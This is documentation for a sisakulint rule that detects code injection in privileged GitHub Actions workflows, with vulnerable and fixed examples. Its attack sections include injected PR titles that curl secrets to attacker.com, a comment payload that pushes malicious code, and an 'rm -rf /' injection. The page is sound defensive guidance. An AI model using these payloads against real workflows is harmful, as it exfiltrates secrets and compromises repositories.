Code Injection Rule (Critical) Overview #
This rule detects code injection vulnerabilities when untrusted input is used directly in shell scripts or JavaScript code within privileged workflow contexts. Privileged workflows have write permissions or access to secrets, making them high-value targets for attackers.
Key Features: #
- Privileged Context Detection: Identifies dangerous patterns in
pull_request_target,workflow_run,issue_comment, and other privileged triggers - Dual Script Detection: Analyzes both
run:scripts andactions/github-scriptfor untrusted input - Auto-fix Support: Automatically converts unsafe patterns to use environment variables
- Zero False Negatives: Does not flag already-safe patterns using environment variables
Security Impact #
Severity: Critical (10/10)
Code injection in privileged workflows represents the highest severity vulnerability in GitHub Actions:
- Arbitrary Code Execution: Attackers can execute arbitrary commands in the runner environment
- Secret Exfiltration: Access to repository secrets and GITHUB_TOKEN with write permissions
- Repository Compromise: Ability to modify code, create releases, or manipulate repository settings
- Supply Chain Attack: Compromised workflows can poison artifacts or deployments
This vulnerability is classified as CWE-94: Improper Control of Generation of Code (‘Code Injection’) and aligns with OWASP CI/CD Security Risk CICD-SEC-04: Poisoned Pipeline Execution (PPE).
Privileged Workflow Triggers #
The following triggers are considered privileged because they run with write access or secrets:
pull_request_target: Runs with write permissions and secrets, but triggered by untrusted PRsworkflow_run: Executes with elevated privileges after another workflow completesissue_comment: Triggered by comments from any user, including external contributorsissues: Triggered by issue events, potentially from untrusted sourcesdiscussion_comment: Triggered by discussion comments from any user
Example Vulnerable Workflow #
Consider this dangerous workflow that processes PR titles in a privileged context:
name: Auto-label PRs
on:
pull_request_target: # PRIVILEGED: Has write access and secrets
types: [opened, edited]
jobs:
label:
runs-on: ubuntu-latest
steps:
# CRITICAL VULNERABILITY: Untrusted input in privileged context
- name: Add label based on title
run: |
TITLE="${{ github.event.pull_request.title }}"
echo "Processing PR: $TITLE"
gh pr edit ${{ github.event.pull_request.number }} --add-label "needs-review"
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
Attack Scenario #
How Code Injection Exploits Privileged Workflows:
Attacker Creates Malicious PR: Opens a PR with a crafted title:
Title: "; curl https://attacker.com/$(cat /proc/self/environ | base64) #Workflow Triggers:
pull_request_targetruns with write permissionsCommand Injection: The shell interprets the malicious title:
TITLE=""; curl https://attacker.com/$(cat /proc/self/environ | base64) #"Secret Exfiltration: Environment variables (including secrets) are sent to attacker
Further Exploitation: Attacker can modify code, create malicious releases, or poison artifacts
This attack is devastating because:
- No code review is needed (PR can be from external contributor)
- Secrets are exposed immediately upon PR creation
- GITHUB_TOKEN has write permissions
- Attack leaves minimal traces
Example Output #
Running sisakulint will detect untrusted input in privileged contexts:
$ sisakulint
.github/workflows/pr-label.yaml:12:20: code injection (critical): "github.event.pull_request.title" is potentially untrusted and used in a workflow with privileged triggers. Avoid using it directly in inline scripts. Instead, pass it through an environment variable. See https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions [code-injection-critical]
12 👈| run: |
TITLE="${{ github.event.pull_request.title }}"
Auto-fix Support #
The code-injection-critical rule supports auto-fixing by converting unsafe patterns to use environment variables:
# Preview changes without applying
sisakulint -fix dry-run
# Apply fixes
sisakulint -fix on
Auto-fix for Run Scripts #
Before (Vulnerable):
on: pull_request_target
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Process PR
run: echo "Title: ${{ github.event.pull_request.title }}"
After (Secure):
on: pull_request_target
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Process PR
run: echo "Title: $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
Auto-fix for GitHub Script #
Before (Vulnerable):
on: issue_comment
jobs:
respond:
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v6
with:
script: |
const body = '${{ github.event.comment.body }}'
console.log('Comment:', body)
After (Secure):
on: issue_comment
jobs:
respond:
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v6
with:
script: |
const body = process.env.COMMENT_BODY
console.log('Comment:', body)
env:
COMMENT_BODY: ${{ github.event.comment.body }}
Best Practices #
1. Always Use Environment Variables for Untrusted Input #
Bad (Vulnerable):
on: pull_request_target
jobs:
test:
steps:
- run: echo "${{ github.event.pull_request.title }}"
Good (Safe):
on: pull_request_target
jobs:
test:
steps:
- run: echo "$PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
2. Avoid Privileged Triggers When Possible #
Use pull_request instead of pull_request_target unless you specifically need write access:
Bad (Unnecessary Privilege):
on: pull_request_target # Has write access
jobs:
test:
steps:
- uses: actions/checkout@v4
- run: npm test # Doesn't need write access
Good (Least Privilege):
on: pull_request # Read-only
jobs:
test:
steps:
- uses: actions/checkout@v4
- run: npm test
3. Limit Permissions Explicitly #
Even in privileged workflows, restrict permissions:
on: pull_request_target
jobs:
label:
permissions:
contents: read
pull-requests: write # Only what's needed
steps:
- run: echo "$PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
4. Validate Input Before Use #
Add validation layers when processing untrusted input:
on: issue_comment
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Validate and process comment
run: |
# Validate input format
if [[ ! "$COMMENT_BODY" =~ ^[a-zA-Z0-9\ ]+$ ]]; then
echo "Invalid input"
exit 1
fi
echo "Processing: $COMMENT_BODY"
env:
COMMENT_BODY: ${{ github.event.comment.body }}
Common Untrusted Inputs #
The following GitHub context properties are considered untrusted in privileged workflows:
Pull Request Data:
github.event.pull_request.titlegithub.event.pull_request.bodygithub.event.pull_request.head.refgithub.event.pull_request.head.labelgithub.event.pull_request.head.repo.default_branch
Issue Data:
github.event.issue.titlegithub.event.issue.body
Comment Data:
github.event.comment.bodygithub.event.review.bodygithub.event.discussion.titlegithub.event.discussion.body
Other Untrusted Sources:
github.event.pages.*.page_namegithub.head_ref
Real-World Attack Vectors #
Attack Vector 1: Secret Exfiltration via PR Title #
Malicious PR Title:
Fix typo"; curl https://attacker.com/exfil?data=$(env | base64) #
Vulnerable Workflow:
on: pull_request_target
jobs:
greet:
steps:
- run: echo "Thanks for: ${{ github.event.pull_request.title }}"
env:
SECRET_TOKEN: ${{ secrets.API_KEY }}
Result: All environment variables (including secrets) sent to attacker.
Attack Vector 2: Repository Takeover via Issue Comment #
Malicious Comment:
Great idea! "; git clone https://github.com/$REPO ..; echo "malicious code" > ../index.js; git add .; git commit -m "update"; git push #
Vulnerable Workflow:
on: issue_comment
jobs:
respond:
steps:
- uses: actions/checkout@v4
- run: echo "Comment: ${{ github.event.comment.body }}"
Result: Malicious code committed to repository with GITHUB_TOKEN.
Attack Vector 3: Artifact Poisoning via Workflow Run #
Malicious Workflow Run:
# Triggered workflow
on: workflow_run
jobs:
deploy:
steps:
- run: echo "${{ github.event.workflow_run.display_title }}"
- run: ./deploy.sh # Executes with poisoned title
Result: Deployment workflow compromised.
Detection Patterns #
The code-injection-critical rule detects:
Direct interpolation in run scripts:
run: echo "${{ github.event.pull_request.title }}"Direct interpolation in github-script:
script: | console.log('${{ github.event.comment.body }}')Multiple untrusted inputs:
run: | echo "${{ github.event.pull_request.title }}" echo "${{ github.event.pull_request.body }}"Unquoted environment variables containing untrusted input:
env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo $PR_TITLE # Missing quotes!eval with untrusted input (even when quoted):
env: CMD: ${{ github.event.comment.body }} run: eval "echo $CMD" # Dangerous even with quotes!sh -c / bash -c with untrusted input:
env: BODY: ${{ github.event.pull_request.body }} run: sh -c "process $BODY" # Creates nested shell parsingCommand substitution with untrusted input:
env: TITLE: ${{ github.event.pull_request.title }} run: result=$(echo $TITLE) # Untrusted input in subshellTaint propagation via step outputs (GHSL-2024-325 pattern):
# Step 1: Untrusted input written to $GITHUB_OUTPUT - id: get-ref run: echo "ref=${{ github.event.comment.body }}" >> $GITHUB_OUTPUT # Step 2: Tainted output used in env variable - env: BRANCH: ${{ steps.get-ref.outputs.ref }} # Tainted! run: git push origin HEAD:${BRANCH} # Detected as code injectionThis pattern tracks taint propagation through:
- Direct writes:
echo "name=${{ untrusted }}" >> $GITHUB_OUTPUT - Variable propagation:
VAR="${{ untrusted }}"; echo "name=$VAR" >> $GITHUB_OUTPUT - Heredoc patterns:
cat <<EOF >> $GITHUB_OUTPUT
- Direct writes:
Multi-hop taint propagation (step output to step output):
# Step A: Write untrusted input to output - id: step-a run: echo "val=${{ github.head_ref }}" >> $GITHUB_OUTPUT # Step B: Read from Step A, write to own output - taint propagates - id: step-b env: INPUT: ${{ steps.step-a.outputs.val }} run: echo "derived=$INPUT" >> $GITHUB_OUTPUT # Also tainted! # Step C: Use Step B's output - still tainted - env: FINAL: ${{ steps.step-b.outputs.derived }} # Tainted via step-b -> step-a run: echo $FINAL # Detected as code injectionKnown tainted action outputs:
# gotson/pull-request-comment-branch exposes untrusted PR data - uses: gotson/pull-request-comment-branch@v1 id: comment-branch - env: BRANCH_NAME: ${{ steps.comment-branch.outputs.head_ref }} # Tainted! run: | git push origin HEAD:${BRANCH_NAME} # Detected as code injectionKnown tainted actions include:
gotson/pull-request-comment-branch- exposeshead_ref,head_sha,base_ref,base_shaxt0rted/pull-request-comment-branch- same outputs as abovepeter-evans/find-comment- exposescomment-body,comment-author
Safe Patterns #
The rule recognizes these patterns as safe:
Properly quoted environment variables:
run: echo "$PR_TITLE" # Double quotes prevent shell metacharacter attacks env: PR_TITLE: ${{ github.event.pull_request.title }}Trusted inputs (not flagged):
run: echo "${{ github.sha }}" # Trusted run: echo "${{ github.repository }}" # TrustedPassing environment variables to subshells safely:
env: PR_TITLE: ${{ github.event.pull_request.title }} run: | export PR_TITLE sh -c 'echo "$PR_TITLE"' # Single quotes prevent expansion in outer shellUsing printf for safer output:
env: PR_TITLE: ${{ github.event.pull_request.title }} run: printf '%s\n' "$PR_TITLE" # printf with %s is safer than echoStep outputs from trusted inputs (not flagged for taint propagation):
# github.sha is trusted, so the output is not tainted - id: get-sha run: echo "sha=${{ github.sha }}" >> $GITHUB_OUTPUT - env: COMMIT: ${{ steps.get-sha.outputs.sha }} # Safe - not tainted run: git checkout "$COMMIT"
Shell Metacharacter Injection #
Even when using environment variables (which is the recommended practice), improper shell handling can still lead to injection vulnerabilities. The rule detects several dangerous patterns:
Unquoted Variables #
Vulnerable:
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo $PR_TITLE
Without quotes, the shell performs word splitting and glob expansion. An attacker could use:
* /etc/passwd- glob expansion to list files$(malicious_command)- command substitution
Safe:
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "$PR_TITLE" # Double quotes prevent expansion
eval Command #
Vulnerable:
env:
CMD: ${{ github.event.comment.body }}
run: eval "echo $CMD"
Even with quotes, eval parses the string again, enabling:
"; curl attacker.com #- break out and execute arbitrary commands
Safe Alternative:
env:
CMD: ${{ github.event.comment.body }}
run: |
# Use printf %q for proper escaping if eval is necessary
escaped=$(printf '%q' "$CMD")
# Or better, avoid eval entirely and use the variable directly
echo "$CMD"
Nested Shell Commands (sh -c, bash -c) #
Vulnerable:
env:
BODY: ${{ github.event.pull_request.body }}
run: sh -c "process $BODY"
Creates a new shell that parses the string again, vulnerable to:
"; rm -rf / #- command injection via quote escaping
Safe:
env:
BODY: ${{ github.event.pull_request.body }}
run: |
# Export the variable and use single quotes in the subshell
export BODY
sh -c 'echo "$BODY"' # Single quotes prevent outer shell expansion
Command Substitution #
Vulnerable:
env:
TITLE: ${{ github.event.pull_request.title }}
run: result=$(grep $TITLE file.txt)
Unquoted variable in command substitution allows:
- Glob expansion
- Word splitting
- Embedded command injection
Safe:
env:
TITLE: ${{ github.event.pull_request.title }}
run: result=$(grep -F -- "$TITLE" file.txt) # Quote and use -F for fixed strings
Difference from Medium Severity #
The critical rule only flags privileged triggers where exploitation has immediate severe impact. The medium rule flags the same patterns in normal triggers (pull_request, push) where the risk is lower.
| Trigger Type | Rule | Risk Level | Why Different |
|---|---|---|---|
pull_request_target | Critical | 10/10 | Write access + secrets |
pull_request | Medium | 6/10 | Read-only, no secrets |
workflow_run | Critical | 10/10 | Elevated privileges |
push | Medium | 6/10 | Only trusted commits |
Integration with GitHub Security Features #
This rule complements GitHub’s security features:
- Branch Protection: Require review for workflow changes
- CODEOWNERS: Mandate approval for
.github/workflows/changes - Required Status Checks: Block PRs if sisakulint fails
- Secret Scanning: Detect exposed secrets
- Code Scanning: Run CodeQL for comprehensive analysis
CodeQL Integration #
This rule is inspired by CodeQL’s code-injection-critical query:
sisakulint provides:
- Faster feedback during development
- Auto-fix capabilities
- No GitHub Advanced Security license required
- Integration with local development workflow
OWASP CI/CD Security Alignment #
This rule addresses:
CICD-SEC-04: Poisoned Pipeline Execution (PPE)
- Prevents command injection in privileged contexts
- Enforces safe handling of untrusted input
- Reduces attack surface in CI/CD pipelines
CWE-94: Improper Control of Generation of Code
- Prevents dynamic code generation from untrusted sources
- Enforces input validation and sanitization
Complementary Rules #
Use these rules together for defense in depth:
- code-injection-medium: Detect same issues in normal triggers
- envvar-injection-critical: Adds specialized detection and mitigation for $GITHUB_ENV writes (see Rule Interactions for details)
- permissions: Limit workflow permissions to minimum necessary
- timeout-minutes: Prevent resource exhaustion attacks
- commit-sha: Pin actions to prevent supply chain attacks
Performance Considerations #
This rule has minimal performance impact:
- Detection: O(n) where n is the number of steps
- Auto-fix: In-place AST and YAML modification
- No External Calls: Purely static analysis
See Also #
Industry References:
- CodeQL: Code Injection (Critical) - CodeQL’s detection pattern
- GitHub: Security Hardening for GitHub Actions - Official security guidance
- OWASP: CICD-SEC-04 - PPE - Attack patterns
- CWE-94: Code Injection - Vulnerability classification
- GitHub: Keeping Actions Secure - Action security best practices
